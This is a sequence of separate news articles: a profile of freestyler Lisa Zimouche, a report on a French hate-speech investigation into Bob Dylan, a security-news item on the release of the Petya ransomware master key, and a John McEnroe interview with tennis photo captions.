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(CNN)It was French maestro Zinedine Zidane who first inspired Lisa Zimouche to start kicking a football. The freestyler still remembers watching her hero lift the World Cup for France in 1998 and, from that moment, her heart was set. "I fell in love with how he played with the ball and I was like 'Oh, I want to play,'" she told CNN Sport. The 20-year-old French-Algerian has been immersed in the game ever since, first for PSG women's team as a teenager and later in the developing world of freestyle football. After deciding to take the bold leap into the more creative form, she practiced for up to three hours a day to perfect her tricks and flicks. Read More"I have this freedom to do whatever I want with the ball. I can play with music, I can play with my hands," she said on her decision to pursue freestyling as a career. "There is absolutely no rules, no boundaries." View this post on Instagram Desperately waiting for a person down to play against me 🤷🏻♀️⚽️ A post shared by Lisa Zimouche (@lisafreestyle) on Feb 3, 2020 at 10:38am PST READ: Teen sensation Haaland stuns PSG on UCL debut for Borussia DortmundPlaying in heelsZimouche now travels the world, wowing fans across the planet with her outrageous set of skills and challenging herself against stars of the game such as Luiz Suarez and Jesse Lingard. Even wearing heels she can embarrass her opponents. "It's very dangerous so I don't do it often but I like playing in heels because it's just something spicy. I just like to improve and try something new," she added.It's not just football stars who have come up against Zimouche. Her craft has also allowed her to play against the likes of Usain Bolt, Drake and Odell Beckham Jr. However, there is one particular star that's high on her wish list. "I would love to nutmeg Beyonce," says a laughing Zimouche. "I don't know if she's a fan of football but I would love just to meet her, to talk with her and to nutmeg her. That's huge." NUTMEG NO LOOK 👀 ❌ ⚽️ pic.twitter.com/3SE2709HX8— Lisa Zimouche (@Lisafreestyle) February 17, 2019 READ: How Thomas Partey risked everything to follow European football dreamSupportive family Surrounded by football as a child, Zimouche was encouraged to pursue her passion by her mother. Despite being a keen player herself, Zimouche's mum was not allowed to follow her dream but was determined to let her daughter live hers. And with an Instagram following of over two million people, Zimouche wants to inspire other women to follow in her footsteps. "I think the future is bright for women. We still have so much to do. We have a lot of things to change, people's mindsets," she said. "I just do my thing and if it can inspire people it's just the best feeling for me. My goal is to inspire young women and to show that my story is not special. "You can do that too. It's not something special, all women can do it."Watch the video at the top of the page to learn more about Lisa Zimouche's story.
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Story highlightsCroatian group would be willing to drop charges if Dylan publicly apologizes, lawyer saysIconic singer Bob Dylan is accused of likening the Croatian people to NazisThe remarks were quoted in an interview for the French edition of Rolling Stone magazineThe complaint was brought by a body representing Croatians in FranceBob Dylan is being investigated on suspicion of inciting hatred in Paris over comments he made in Rolling Stone magazine, French prosecutors said Tuesday.An organization representing Croatians in France pressed charges against Dylan for allegedly comparing the conflict between Croatians and Serbs to the Nazis' persecution of Jews in an interview last year for the French edition of Rolling Stone."If you got a slave master or Klan in your blood, blacks can sense that. That stuff lingers to this day. Just like Jews can sense Nazi blood and the Serbs can sense Croatian blood," the influential singer-songwriter was quoted as saying.While a Croatian group has said Dylan was referencing the violence that came with the breakup of Yugoslavia in the 1990s, it's unclear whether the long-outspoken musician was referring to Yugoslavia or the crimes committed when the Ustasha ruled Croatia during World War II. The Paris prosecutor's office said Dylan was placed under formal investigation last month by the Paris Main Court for "public injury" and "incitement to hatred."Vlatko Maric, secretary general of the Representative Council of the Croatian Community and Institutions, told CNN his organization had brought the case almost a year ago.Explaining the council's decision to pursue the case against Dylan, Maric said the artist's remarks in Rolling Stone were of a "rare violence" that had deeply shocked people from a nation still wounded by the conflict of the 1990s. Photos: Bob Dylan: Voice of a generation Photos: Bob Dylan: Voice of a generationBob Dylan smokes a cigarette circa 1966. Dylan's music spoke to a generation of people during the 1960s, a tumultuous decade that forever changed America. He went on to become a rock 'n' roll legend and influence many musicians to come. In October 2016, the Nobel Prize in Literature was awarded to Dylan for "having created new poetic expressions within the great American song tradition."Hide Caption 1 of 18 Photos: Bob Dylan: Voice of a generationDylan performs in 1961 at The Bitter End club in New York City. His first album, "Bob Dylan," debuted in 1962 and consisted mostly of old folk songs.Hide Caption 2 of 18 Photos: Bob Dylan: Voice of a generationJoan Baez and Dylan perform during the March on Washington, a pivotal moment in the civil rights movement, on August 28, 1963.Hide Caption 3 of 18 Photos: Bob Dylan: Voice of a generationDylan performs on stage in the 1960s. Dylan was known in his early career for playing the guitar and the harmonica, and for his distinctive vocal phrasing.Hide Caption 4 of 18 Photos: Bob Dylan: Voice of a generationDylan listens to recordings of his album "Highway 61 Revisited" in 1965. It contained "Like a Rolling Stone," which went to No. 2 on U.S. charts.Hide Caption 5 of 18 Photos: Bob Dylan: Voice of a generationGeorge Harrison and Dylan perform in the Concert for Bangladesh, held August 1, 1971 at Madison Square Garden in New York. The concert earned them the Grammy Award for Album of the Year along with Billy Preston, Eric Clapton, Klaus Voormann, Leon Russell, Ravi Shankar and Ringo Starr.Hide Caption 6 of 18 Photos: Bob Dylan: Voice of a generationDylan appears on set for the film "Pat Garrett and Billy the Kid" in 1973. Dylan also recorded the soundtrack for the film.Hide Caption 7 of 18 Photos: Bob Dylan: Voice of a generationDylan performs on stage at Madison Square Garden in 1974.Hide Caption 8 of 18 Photos: Bob Dylan: Voice of a generationDylan performs with Robbie Robertson of The Band, right, and Van Morrison at The Band's farewell concert in 1976.Hide Caption 9 of 18 Photos: Bob Dylan: Voice of a generationDylan performs with Tom Petty at Farm Aid in Chicago in 1985.Hide Caption 10 of 18 Photos: Bob Dylan: Voice of a generationDylan poses for a photo with David Bowie in 1985.Hide Caption 11 of 18 Photos: Bob Dylan: Voice of a generationDylan and Bruce Springsteen perform together in 1990.Hide Caption 12 of 18 Photos: Bob Dylan: Voice of a generationPerformance artist Michael Portnoy is taken off stage during Dylan's performance at the Grammy Awards in 1998. Portnoy had been hired as part of the background dancers for the performance, but his shirtless interruption was not planned and he was carted off stage.Hide Caption 13 of 18 Photos: Bob Dylan: Voice of a generationDylan performs in Brighton, England, in 2002.Hide Caption 14 of 18 Photos: Bob Dylan: Voice of a generationDylan appears with actress Jessica Lange during a news conference for the movie "Masked and Anonymous" in 2003. Dylan co-wrote the movie and starred in it.Hide Caption 15 of 18 Photos: Bob Dylan: Voice of a generationDylan poses for photos at the University of St. Andrews after he received an honorary degree at the Scottish school in 2004.Hide Caption 16 of 18 Photos: Bob Dylan: Voice of a generationDylan performs during the Grammy Awards in 2011. Dylan has won 10 Grammys in his career, as well as one Golden Globe Award and one Academy Award.Hide Caption 17 of 18 Photos: Bob Dylan: Voice of a generationPresident Barack Obama presents the Presidential Medal of Freedom to Dylan in the East Room of the White House in 2012. The award is the country's highest civilian honor. "I remember, you know, in college, listening to Bob Dylan and my world opening up, 'cause he captured something about this country that was so vital," Obama said. Hide Caption 18 of 18"An entire people is being compared to criminal organizations" like the Nazis or the Ku Klux Klan, he said. "The Croatians are peaceful people who respect Bob Dylan as an artist, but we must remind him that he can't make such remarks."We have nothing against him, but the Croatians do not want to be insulted."Lawyer: We'd like a public apologyA lawyer for the Croatian organization told CNN on Tuesday that his clients would be willing to drop the charges if Dylan publicly apologized for his remarks."An apology is a better repair than a financial compensation," Ivan Jurasinovic said, adding that this would be a far more positive outcome for everyone. "Bob Dylan is someone who is very much admired in Croatia," he said.Asked if his clients had already contacted Dylan to request an apology, he said that the process was "ongoing" and that "they hoped something could be arranged." Representatives of Dylan and Rolling Stone have not yet responded to requests for comment.Dylan received the Presidential Medal of Freedom from President Barack Obama in 2012, just one of many accolades to come the musician's way during half a century in the public eye. He was also named an honorary member of the American Academy of Arts and Letters this year.Bloody conflictsBetween 1941 and 1945, Croatia's Ustasha erected numerous concentration camps "to isolate and murder Jews, Serbs, Roma (also known as Gypsies), and other non-Catholic minorities, as well as Croatian political and religious opponents of the regime," according to the U.S. Holocaust Memorial Museum.Croat authorities murdered an estimated 320,000 to 340,000 ethnic Serbs in Bosnia and Croatia under Ustasha rule, the museum says.Decades later, the breakup of Yugoslavia in the early 1990s caused the bloodiest conflict on the European continent since World War II, with more than 100,000 people believed killed.The International Criminal Tribunal for the former Yugoslavia, a U.N.-backed court, continues to prosecute war crimes committed during that time.The tribunal has said "the most significant number" of its cases have dealt with alleged crimes by Serbians or Bosnian Serbs. But there have been convictions for crimes against Serbs by others, including Croats, Bosnian Muslims and Kosovo Albanians.
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Rejoice Petya-infected victims!
The master key for the original version of the Petya ransomware has been released by its creator, allowing Petya-infected victims to recover their encrypted files without paying any ransom money.
But wait, Petya is not NotPetya.
Do not confuse Petya ransomware with the latest destructive NotPetya ransomware (also known as ExPetr and Eternal Petya) attacks that wreaked havoc across the world last month, massively targeting multiple entities in Ukraine and parts of Europe.
The Petya ransomware has three variants that have infected many systems around the world, but now the author of the original malware, goes by the pseudonym Janus, made the master key available on Wednesday.
According to the security researchers, victims infected with previous variants of Petya ransomware, including Red Petya (first version) and Green Petya (second version) and early versions the GoldenEye ransomware can get their encrypted files back using the master key.
The authenticity of the master key has been verified by an independent Polish information security researcher known as Hasherezade.
"Similarly to the authors of TeslaCrypt, he released his private key, allowing all the victims of the previous Petya attacks, to get their files back," Hasherezade posted her finding on MalwareBytes on Thursday.
"Thanks to the currently published master key, all the people who have preserved the images of the disks encrypted by the relevant versions of Petya, may get a chance of getting their data back."
Although the first and second version of Petya was cracked last year, the private key released by Janus offers the fastest and most reliable way yet for Petya-infected victims to decrypt their files, especially locked with the uncrackable third version.
Meanwhile, Kaspersky Lab research analyst Anton Ivanov also analyzed the Janus' master key and confirmed that the key unlocks all versions of Petya ransomware, including GoldenEye.
Janus created the GoldenEye ransomware in 2016 and sold the variants as a Ransomware-as-a-Service (RaaS) to other hackers, allowing anyone to launch ransomware attacks with just one click and encrypt systems and demand a ransom to unlock it.
If the victim pays, Janus gets a cut of the payment. But in December, he went silent.
However, according to the Petya author, his malware has been modified by another threat actor to create NotPetya that targeted computers of critical infrastructure and corporations in Ukraine as well as 64 other countries.
The NotPetya ransomware also makes use of the NSA's leaked Windows hacking exploit EternalBlue and EternalRomance to rapidly spread within a network, and WMIC and PSEXEC tools to remotely execute malware on the machines.
Security experts even believe the real intention behind the recent ransomware outcry, which was believed to be bigger than the WannaCry ransomware, was to cause disruption, rather than just another ransomware attack.
According to researchers, NotPetya is in reality wiper malware that wipes systems outright, destroying all records from the targeted systems, and asking for ransom was just to divert world's attention from a state-sponsored attack to a malware outbreak.
Lucky are not those infected with NotPetya, but the master key can help people who were attacked by previous variants of Petya and Goldeneye ransomware in the past.
Security researchers are using the key to build free decryptors for victims who still have crypto-locked hard drives.
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Story highlightsAmerican tennis legend John McEnroe talks to CNN about his controversial careerHe says Serena Williams is the greatest female player of all timeThe 54-year-old bemoans the United States' long wait for a male grand slam championHe explains why golf has overtaken tennis in popularityHe's "Mac the Mouth" both on and off the court -- one of the most controversial and iconic players in tennis history, and he's still talking up a storm about the game he loves.John McEnroe's gift of the gab has helped him make the transition from one of sport's fiercest competitors to sought-after television analyst and commentator.But the competitive fires are still burning -- the 54-year-old remains a popular figure on the legends circuit -- and the winner of 17 grand slam singles and doubles titles did not hold back in a trademark "million words a minute" interview with CNN's Open Court."You cannot be serious!" Oh yes he is...On the United States' long wait for another grand slam champion:"Andy Roddick's now gone and we haven't won any slams in 10 years since Pete Sampras quit other than Roddick's one, so obviously there's some concern here. There's a lot of work to do and I think people remember the old days a bit. JUST WATCHEDMcEnroe: Still going strongReplayMore Videos ...MUST WATCHMcEnroe: Still going strong 04:39JUST WATCHEDMcEnroe: Sean Penn would play me in filmReplayMore Videos ...MUST WATCHMcEnroe: Sean Penn would play me in film 02:04JUST WATCHEDSerena Williams' rise to greatnessReplayMore Videos ...MUST WATCHSerena Williams' rise to greatness 07:37Read: McEnroe mission - Meeting a tennis legend"It was a great time for me and it was sort of a golden era for American tennis -- Jimmy Connors and myself and then Pete Sampras, Andre Agassi, Jim Courier trying to run this tour -- so there's something that's missing and hopefully we can fill that niche and maybe inspire some younger kids as well."On why Serena Williams is the best female player of all time:"I've seen them all. What Billie Jean King has done for the game and the way she played was more like how I played, and Martina Navratilova, Chris Evert won a billion tournaments, Steffi Graf ... but to me overall, when Serena's on, she's the best I've ever seen play, the whole package as far as what she can bring to the table."Hopefully for us, we're wondering where the next American guy is -- the next American woman, we're still looking pretty sharp. Hopefully this will inspire some other people to get out there before she quits." On why Serena has it harder than most:"Serena's way better than I am (in terms of keeping her temper). There's no comparison. I think she's held herself and she's needed to -- obviously being a woman and, second, being looked at closer because she's black, so I think she's got a couple strikes against her before she even starts. "Compared to the overall package that I think she's gone through and what she's experienced, I think she should be cut some slack. It doesn't excuse the time she got foot-faulted (at the 2009 U.S. Open), I think she would tell you she deserved to get faulted, but for the most part I think she's done an extremely good job. I mean, certainly compared to me (laughs)."On playing with fellow tennis legends Agassi, Sampras, Connors, Courier, Michael Chang, Mats Wilander and Pat Rafter on the Power Shares circuit:"It's an opportunity for us to show that we still got it a little. Most sports you don't have this chance. Most guys are too beat up physically -- you see what's happened in American Football, it's sad in a way, so we have it lucky. Photos: French farce to golden glory Photos: French farce to golden gloryTurkish delight – Serena Williams ended a dominant second half of 2012 by winning the season-ending WTA Championships in Istanbul. It marked the end of a dramatic change in fortunes for the 31-year-old.Hide Caption 1 of 10 Photos: French farce to golden gloryBack for good – After nearly a year out with a foot injury and a life-threatening blood clot on her lung, Serena returned to the Tour in June 2011, at Eastbourne. Things didn't go exactly to plan upon her return.Hide Caption 2 of 10 Photos: French farce to golden gloryDespair in Paris – After a disappointing start to 2012, the nadir of Serena's season came with a first round French Open exit at the hands of world No. 111 Virginie Razzano. She told CNN she didn't leave her house for two days after her surprise defeat.Hide Caption 3 of 10 Photos: French farce to golden gloryClass on grass – But Serena stormed back to form at Wimbledon where she secured her fifth singles title at the All England Club and 15th grand slam crown. She overcame a mini meltdown after losing the second set in the final when she thought to herself: "I'm never going to win another grand slam."Hide Caption 4 of 10 Photos: French farce to golden glorySister act – Serena's London experience got even better a few hours after her singles win as she and Venus took the ladies doubles crown -- their fifth Wimbledon doubles title.Hide Caption 5 of 10 Photos: French farce to golden gloryI got the power – It is Serena's power and predatory nature on court that can help to give her the edge over her opponents. Outwardly she projects an image of steel but she admits she does get nervous and apprehensive. "I'm a good actress," she says.Hide Caption 6 of 10 Photos: French farce to golden gloryAll gold – Serena didn't look back after her doubles triumph at Wimbledon, taking the singles gold at the Olympics back on the famous Centre Court.Hide Caption 7 of 10 Photos: French farce to golden gloryDouble delight – Unsurprisingly, Serena and Venus went on to claim gold in the doubles too. They confirmed to CNN they will defend their title at the Olympics in Rio in 2016.Hide Caption 8 of 10 Photos: French farce to golden gloryNew York style – Serena went on to win the final grand slam of the season at the U.S. Open, beating world No. 1 Victoria Azarenka in the final at Flushing Meadows. It underlined what supreme form she was in.Hide Caption 9 of 10 Photos: French farce to golden gloryGirl power – As soon as the tennis season finished Serena and Venus visited Africa, to promote an initiative that recognizes women of all ages who have broken the mould in their respective fields.Hide Caption 10 of 10JUST WATCHEDMichael Chang's historic French victoryReplayMore Videos ...MUST WATCHMichael Chang's historic French victory 06:16JUST WATCHEDOn court with Pete Sampras ReplayMore Videos ...MUST WATCHOn court with Pete Sampras 08:03Read: Champions chat - Sampras talks tennis"There's a lot of physical wear and tear but if you keep it short like we try to do here -- short and sweet, we're not playing best of five sets, we're not even playing best of three sets, we're playing one set -- so it gives old guys like myself a chance."On Tiger Woods and how golf has eclipsed tennis in U.S. popularity:"I think tennis was bad for tennis more than he (Woods) was bad for tennis. Clearly there are a lot of elder statesman that it's a lot easier for them to go on a golf course than the tennis court. I happened to be one of those guys who doesn't play much golf. "I know it's an extremely difficult game but in terms of keeping your health and in terms of what tennis has got to offer, I think it's a great sport, so I'm perplexed by the people who make that decision. Read: Chang's 'underhand' tactics"Back in my day in the early to mid-'80s, that's when they feel I nipped with (Arnold) Palmer and (Gary) Player who were incredible champions -- we were getting double the ratings of golf. If you would have told me then that golf would out-rate tennis, I would have laughed at you. "Now they look at me like I'm crazy, like remember when tennis did better in the ratings than golf. But there's some marketing things we don't do, we're not reaching out to the fan the way golf or a lot of other sports do, so we've got our work cut out for us -- but that doesn't mean it can't turn around."On why he was destined to play tennis:"When I was eight and a half, my parents moved to a part of Queens where there was a club nearby. We joined and if you believe in someone up above I think I was meant to play tennis. "I was extremely well taught and there was a bit of magic hopefully in the hands, the feel of the racket -- those days the wood racket, that suited me, the strategy, the feel, the subtlety of the game. "And then there's a bit of Jekyll and Hyde that comes out, maybe with the upbringing, maybe it's something inexplicable, maybe with the times, but it somehow came together." JUST WATCHEDAgassi and Graf's Olympic momentsReplayMore Videos ...MUST WATCHAgassi and Graf's Olympic moments 07:45 Photos: Wimbledon's great serve and volley players Photos: Wimbledon's great serve and volley players The great serve and volley players – Ivan Lendl, twice Wimbledon runner-up and now Andy Murray's coach, believes serve and volley is a dying art in tennis.Hide Caption 1 of 10 Photos: Wimbledon's great serve and volley players Boris Becker – Boris Becker, Wimbledon's youngest men's champion at the age of 17 in 1985, was renowned for his trademark diving volleys. The German was powerful in the serve and wonderfully athletic at the net. Hide Caption 2 of 10 Photos: Wimbledon's great serve and volley players John McEnroe – Feisty New Yorker John McEnroe was not blessed with great serving power but his speed, aggression and razor-sharp reflexes enabled him to finish off many a rally with a perfectly executed volley.Hide Caption 3 of 10 Photos: Wimbledon's great serve and volley players Ken Rosewall – Australian Ken Rosewall adopted serve and volley during his career as a way of shortening rallies and therefore boosting his longevity. It was no coincidence that he played in his last Wimbledon final at the age of 39.Hide Caption 4 of 10 Photos: Wimbledon's great serve and volley players Stefan Edberg – Sweden's Stefan Edberg could not match the serve of his rival Becker, but his sublime volleying ability helped him to several notable wins over the German. He sometimes employed slower serves to afford himself more time to get to the net.Hide Caption 5 of 10 Photos: Wimbledon's great serve and volley players Pat Rafter – One of the most naturally gifted serve and volley players, Pat Rafter combined pinpoint placement with silky work at the net. The Australian twice fell short in the Wimbledon final but won two U.S. Opens in the late 1990s.Hide Caption 6 of 10 Photos: Wimbledon's great serve and volley players Rod Laver – Australian legend Rod Laver, four times a Wimbledon champion during the 1960s, played serve and volley better than anyone in an era where the technique was more common.Hide Caption 7 of 10 Photos: Wimbledon's great serve and volley players Martina Navratilova – Martina Navratilova was one of the few serve-volleyers in the women's game, and the style helped the Czech-American star win a record nine Wimbledon titles.Hide Caption 8 of 10 Photos: Wimbledon's great serve and volley players Richard Krajicek – Big-serving Richard Krajicek's 1996 success is testament to Wimbledon's benefits for serve and volley players. The Dutchman's triumph at the All England Club was his solitary grand slam title.Hide Caption 9 of 10 Photos: Wimbledon's great serve and volley players Pete Sampras – Wimbledon's most successful male player, Pete Sampras, had a phenomenal all-round game, and the American's serve and volley expertise was one of his most potent weapons as he won seven titles and 14 grand slams overall.Hide Caption 10 of 10On being the enfant terrible of tennis:"People have personalities ... seems like umpires did terrible jobs when I came out, so to me it was normal, you're confronting people all the time, so I was surprised when I went to England and they thought I was Attila the Hun or something."I think despite what you may see here, I'm not as physically intimidating as a Rafael Nadal, so you have to try to get an edge in a different way. One person who I saw that did an unbelievable job at that was Connors. "The guy wanted it more, he was hungry, he tried harder, and he had this intensity. He hated your guts before he stepped on the court so I had to try to get inside someone's head and get myself so worked up so they'd feel they were up against it. "So the best way I knew how was to give 110% and want it more than them, and walk on the court and every moment of the match feel like it was the end of the world, in a sense. So that worked for me in a lot of ways. There were times that it hurt me but for the most part it helped me."On being shy underneath the anger:"Well it's a bit of an act now, but to me it wasn't an act then. I felt like it was something that just came out. Believe it or not I was a pretty shy youngster growing up. I guess the cat was out of the bag when they said, 'Hey there's umpires and you can question calls.'"In juniors, we don't have that. There are no umpires so it was a big change and all of the sudden it was a different situation. I saw guys I learned a lot from, like Connors and (Ilie) Nastase, I mean people were starting to rebel against the typical tennis players who were very polite and were wearing the long pants and who would act a certain way, and we wanted to be considered the way athletes in other sports were. Photos: Federer: No. 1 of the No. 1s Photos: Federer: No. 1 of the No. 1sNo. 1: Roger Federer – Roger Federer has surpassed Pete Sampras' record of 286 weeks at the top of the world rankings, after a two-year absence from the No. 1 spot. Federer will be hoping to cement his status as the best in the world with a gold medal at the Olympic Games in London later this month.Hide Caption 1 of 6 Photos: Federer: No. 1 of the No. 1sNo. 2: Pete Sampras – Sampras' record had looked to be safe, but Federer's Wimbledon win -- his first grand slam title since 2010 -- equaled the American's mark of seven crowns at the All England Club and ended Novak Djokovic's 12-month reign. Hide Caption 2 of 6 Photos: Federer: No. 1 of the No. 1sNo. 3: Ivan Lendl – In this month's final, Federer defeated Britain's world No. 4 Andy Murray -- who is coached by Ivan Lendl. The Czech never won Wimbledon in his collection of eight grand slam titles, but spent the third-highest number of weeks at No. 1, achieving a total of 270.Hide Caption 3 of 6 Photos: Federer: No. 1 of the No. 1sNo. 4: Jimmy Connors – Jimmy Connors is fourth on the list with 268 weeks. The American is the only male to have won more than 100 singles titles, while he has also reached more grand slam quarterfinals (41) than any other player. The eight-time major champion was also the first man to spend a total of five years in the No. 1 spot.Hide Caption 4 of 6 Photos: Federer: No. 1 of the No. 1sNo. 5: John McEnroe – Perhaps more famous now for his commercial ubiquity, John McEnroe was one of the best players of his era. Renowned for his fiery temperament and on-court rivalries with the likes of Lendl, Connors and Sweden's Bjorn Borg, the American has spent the fifth longest amount of time in the top spot with 170 weeks.Hide Caption 5 of 6 Photos: Federer: No. 1 of the No. 1sLeading women – By defending her Stanford title on Sunday, Serena Williams (left) equaled her older sister Venus' record of 43 WTA tournament victories, the most by any player still active on the Tour. Former world No. 1 Serena retained her ranking of fourth, achieved by winning her fifth Wimbledon title this month. She also won the doubles with Venus. Hide Caption 6 of 6 Photos: 15-love: Top tennis romances Photos: 15-love: Top tennis romancesAndre Agassi and Steffi Graf – Tennis' ultimate poster couple are still going strong after 10 years of marriage since reportedly getting together at the champions' ball after both won the French Open in 1999. They have two children and still play the odd charity match, but rarely battle each other. As their website reveals: "Andre says his problem playing Steffi is not watching the ball."Hide Caption 1 of 15 Photos: 15-love: Top tennis romancesRoger and Mirka Federer – Roger Federer met Mirka Vavrinec at the Sydney Olympics in 2000 when they both represented Switzerland. Mirka says her husband's glittering career has eased her pain after injury forced her retirement in 2002. Of his wife, Roger told the Telegraph newspaper: "I developed faster, grew faster with her. I owe her a lot."Hide Caption 2 of 15 Photos: 15-love: Top tennis romancesCaroline Wozniacki and Rory McIlroy – She is the former world No. 1 waiting to land her first major title -- he's the baby-faced golfer whose capitulation at the 2011 Masters, and subsequent victory at the U.S. Open, entranced the sport. Together since September last year, Denmark's Wozniacki and McIlroy, from Northern Ireland, go by the moniker of "Wozilroy" and say they lean on each other's experiences to help their sporting performance.Hide Caption 3 of 15 Photos: 15-love: Top tennis romancesAna Ivanovic and Adam Scott – World No. 8 Adam Scott's appearance at last month's Australian Open confirmed that another powerful golf and tennis combo are back on the scene. They split in 2010, but 2008 French Open champion Ivanovic told Australian newspaper the Herald Sun: "Sometimes you need time apart to figure things out."Hide Caption 4 of 15 Photos: 15-love: Top tennis romancesLleyton Hewitt and Kim Clijsters – Hewitt and Clijsters, both former world No. 1s, met at the Australian Open in 2000, reportedly after Kim's sister Elkie asked her to get Lleyton's autograph. They announced their engagement in 2003 but split in October 2004. Both decried the "malicious gossip" that followed their separation.Hide Caption 5 of 15 Photos: 15-love: Top tennis romancesChris Evert and Jimmy Connors – Chris Evert's romance with Jimmy Connors was one that captivated the sporting world after they both won Wimbledon singles titles in 1974, but a planned wedding in November that year was called off. Tennis writer Peter Bodo famously said of the couple: "It was a match made in heaven, not on Earth, which is probably why it didn't last."Hide Caption 6 of 15 Photos: 15-love: Top tennis romancesAnna Kournikova and Enrique Iglesias – The courtship of former world No. 8 Kournikova and pop star Iglesias was the very definition of a high-profile romance when they started dating in 2001. The Russian appeared in the video for Iglesias' song "Escape," causing a media frenzy. They are still together, 10 years on.Hide Caption 7 of 15 Photos: 15-love: Top tennis romancesSue Barker and Cliff Richard – British pop star Cliff Richard revealed in his 2008 autobiography "My Life, My Way" that he nearly asked 1976 French Open winner Sue Barker -- now a TV presenter -- to marry him in 1982. The couple's relationship attracted much press attention. "I seriously contemplated asking Sue to marry me," he wrote. "But in the end I realized that I didn't love her quite enough to commit the rest of my life to her."Hide Caption 8 of 15 Photos: 15-love: Top tennis romancesTomas Berdych and Lucie Safarova – They grew up in the same town and were instantly dubbed the "Czech mates" when they started dating in 2003. But they split in 2011, with Czech model Ester Satorova seen watching world No. 7 Berdych at November's season-ending ATP World Tour Finals in London.Hide Caption 9 of 15 Photos: 15-love: Top tennis romancesChris Evert and John Lloyd – After her split with Connors in 1974, 18-time grand slam winner Evert married British tennis pro John Lloyd in 1979, the same year he reached the Australian Open final. Evert's alleged affair with late British pop star Adam Faith threatened to derail their marriage. They reconciled, but then divorced in 1987.Hide Caption 10 of 15 Photos: 15-love: Top tennis romancesMartina Hingis and Radek Stepanek – Former women's No. 1 Hingis became engaged to Stepanek in 2006 but a year later the couple announced through the ATP Tour they had split. Hingis, who won five grand slam titles, retired in 2007 after testing positive for cocaine during Wimbledon. Stepanek married fellow Czech Nicole Vaidisova in July 2010.Hide Caption 11 of 15 Photos: 15-love: Top tennis romancesChris Evert and Greg Norman – A third entry to the list for Evert, whose romance and susbsequent marriage to Australian golfer Greg Norman -- known as the "The Great White Shark" -- captured headlines in 1998. Evert even caddied for the two-time British Open winner at the Masters during a par-three tournament. The couple split 15 months after their wedding.Hide Caption 12 of 15 Photos: 15-love: Top tennis romancesAndy Roddick and Brooklyn Decker – Former world No. 1 Andy Roddick famously began dating Brooklyn Decker in 2007 after asking his agent to track down a phone number for the Sports Illustrated model. They were married in 2009 at a ceremony that included Agassi and Graf as guests.Hide Caption 13 of 15 Photos: 15-love: Top tennis romancesMaria Sharapova and Sasha Vujacic – The romance between Russian tennis ace Sharapova and Slovenian basketballer Vujacic blossomed in 2009 before their engagement was announced in October the following year. The former L.A. Lakers star can often be seen courtside, cheering the three-time grand slam winner on at major tournaments. He now plys his trade in Turkey.Hide Caption 14 of 15 Photos: 15-love: Top tennis romancesAndre Agassi and Brooke Shields – Before Agassi teamed up with Graf, he married actress Brooke Shields in 1997 after a four-year courtship. Agassi, winner of three grand slam titles by then, and Shields, star of TV sitcom "Suddenly Susan," were a box office hit but split after less than two years of marriage in 1999.Hide Caption 15 of 15"On an American Football field or a soccer field, they're not saying 'Hello, how are you out there?' " On why tennis needs strong rivalry:"I didn't get along with most of the players I played against, but the one guy I did get along with was my greatest rival, so it can be done. Nadal and Roger Federer have great respect for each other. I think Novak Djokovic gets under those two guys' skin a little bit and maybe they don't want to admit it and I think that's in a way healthy. "I think fans react to that more, if they sense there's something extra there other than two great tennis players. It's one thing if you live in London and you're rooting for Chelsea or you're in New York and you love the Giants or Jets and no matter who's on the team you're into it. It's different in tennis, you're sort of your own guy, so you have to reach out and grab a person in a different way."On being a YouTube star:"I've gotten a second wind with the kids. They're like, 'Man you were crazy,' but I don't think it compares to some of the crazy things going on now in the sports world -- off the field even more so than on. I mean, I'm sort of vanilla in a way. "Yeah, I was getting into it but no more so to me than some of the other sports. I think because it was tennis, it was different."On his dream opponents:"I wouldn't have done well against Nadal on clay, that's for sure, but I always dreamed of playing Bjorn Borg on clay -- we never played at the French Open, probably for the best when I look back, and I bet Nadal would have been a similar nightmare. Photos: Great sporting rivalries Photos: Great sporting rivalriesBest buddies? – Tiger Woods, right, congratulates Rory McIlroy after Europe's remarkable victory over the U.S. on the final day of the 2012 Ryder Cup in September. The two are big rivals on the golf course, but a friendship has also blossomed this year.Hide Caption 1 of 14 Photos: Great sporting rivalriesToo close? – Golf great Nick Faldo has questioned whether they should be so close. Sports psychologist Dan Abrahams says they would benefit from keeping a bit of distance. "In the heat of battle it becomes more difficult to emotionally detach yourself from that person's performance if you're good friends with that person," he told CNN.Hide Caption 2 of 14 Photos: Great sporting rivalriesBeating your idol – McIlroy has admitted idolizing Woods as a boy, but has now usurped him as golf's No. 1. "Once they step on the first tee, those competitive juices are flowing and they're focused either on their own game or beating each other," Abrahams said.Hide Caption 3 of 14 Photos: Great sporting rivalriesNicklaus vs. Palmer – They are following in golf's great tradition of rivalries -- most notably Jack Nicklaus, left, and Arnold Palmer. "The power of the mind and the capability of that mental discipline is what separates the good from the great," sports leadership expert Khoi Tu told CNN. "That might allow them to become friends with people off the course, but not on the course."Hide Caption 4 of 14 Photos: Great sporting rivalriesProst vs. Senna – Formula One's greatest rivalry was between Alain Prost and Ayrton Senna. "They absolutely detested each other," Tu says. "They were two very different personalities, and often that's one of the features of great sporting rivalries: Fire and ice."Hide Caption 5 of 14 Photos: Great sporting rivalriesAlonso vs. Vettel – Fernando Alonso, left, has now twice been beaten to the F1 championship by Sebastian Vettel -- who is widely rumored to be his teammate at Ferrari come 2014. "When you get two No. 1 drivers together with no team rules, then the sparks can really fly," Tu says. "It's rare for them to be good mates. They may get along, they may trust and respect each other in a professional capacity, but hanging out is a different issue."Hide Caption 6 of 14 Photos: Great sporting rivalriesF1 friendly – Former world champion Jackie Stewart, seen here playing with the children of F1 rival Graham Hill, was remarkably friendly with his peers, Tu says. "He was incredibly fond of a number of people who drove with him. That partly is because there was a clearer distinction of him being a number one and them being number two drivers."Hide Caption 7 of 14 Photos: Great sporting rivalriesMurray vs. Djokovic – A new rivalry has grown in tennis this year between U.S. Open and Olympic champion Andy Murray, left, and childhood friend Novak Djokovic, the world No. 1. "People say that Murray and Djokovic are close but I think it's rare," Tu says. "The best sporting rivalries are the ones where there are these very distinct, almost opposite personalities, but they're very close in terms of their competence."Hide Caption 8 of 14 Photos: Great sporting rivalriesNadal vs. Federer – Rafael Nadal, left, ended the tennis dominance of Roger Federer but they have publicly expressed their friendship despite reports of arguments about on-tour issues. "As people get older they've done so much, broken lots of records, I think that competitive edge is slightly dulled," Tu says. "That makes it easier to be friendlier. You can keep your dignity if you're not crying every time you lose to a younger, faster athlete."Hide Caption 9 of 14 Photos: Great sporting rivalriesNavratilova vs. Evert – Martina Navratilova, left, and Chris Evert had one of the biggest rivalries in women's tennis. "They ended up as good buddies, but that was when the battling had been done," Tu says. 